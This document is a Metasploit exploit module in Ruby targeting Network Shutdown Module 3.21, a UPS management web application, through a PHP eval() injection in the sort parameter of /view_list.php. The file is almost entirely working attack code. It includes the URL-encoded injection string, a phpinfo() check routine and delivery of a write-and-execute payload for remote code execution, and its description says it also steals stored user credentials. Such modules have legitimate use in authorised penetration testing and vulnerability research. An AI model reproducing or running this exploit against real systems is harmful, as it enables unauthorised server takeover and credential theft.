Network Shutdown Module 3.21 - 'sort_values' Remote PHP Code Injection (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/exploit/php_exe'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::PhpEXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Network Shutdown Module <= 3.21 (sort_values) Remote PHP Code Injection',
			'Description'    => %q{
				This module exploits a vulnerability in lib/dbtools.inc which uses
				unsanitized user input inside a eval() call. Additionally the base64 encoded
				user credentials are extracted from the database of the application. Please
				note that in order to be able to steal credentials, the vulnerable service
				must have at least one USV module (an entry in the "nodes" table in mgedb.db)
			},
			'Author'         =>
				[
					'h0ng10',  # original discovery, msf module
					'sinn3r'   # PhpEXE shizzle
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					['OSVDB', '83199'],
					['URL', 'http://secunia.com/advisories/49103/']
				],
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 4000
				},
			'Platform'       => ['php', 'linux'],
			'Arch'           => ARCH_PHP,

			'Targets'        =>
				[
					[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
					[ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
				],
			'DefaultTarget'  => 0,
			'Privileged'     => true,
			'DisclosureDate' => 'Jun 26 2012'
		))

		register_options(
			[
				Opt::RPORT(4679)
			], self.class)
	end

	def check
		# we use a call to phpinfo() for verification
		res = execute_php_code("phpinfo();die();")

		if not res or res.code != 200
			print_error("Failed: Error requesting page")
			return CheckCode::Unknown
		end

		return CheckCode::Vulnerable if (res.body =~ /This program makes use of the Zend/)
		return CheckCode::Safe
	end

	def execute_php_code(code, opts = {})
		param_name = rand_text_alpha(6)
		padding    = rand_text_alpha(6)
		url_param  = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f"

		res = send_request_cgi(
			{
				'uri'   =>  '/view_list.php',
				'method' => 'POST',
				'vars_get' =>
					{
						'paneStatusListSortBy' => url_param,
					},
				'vars_post' =>
					{
						param_name => Rex::Text.encode_base64(code),
					},
				'headers' =>
					{
						'Connection' => 'Close',
					}
			})
	end

	def no_php_tags(p)
		p = p.gsub(/^<\?php /, '')
		p.gsub(/ \?\>$/, '')
	end

	def exploit
		print_status("#{rhost}:#{rport} - Sending payload")

		unlink = (target['Platform'] == 'linux') ? true : false
		p      = no_php_tags(get_write_exec_payload(:unlink_self => unlink))

		execute_php_code(p)
		handler
	end
end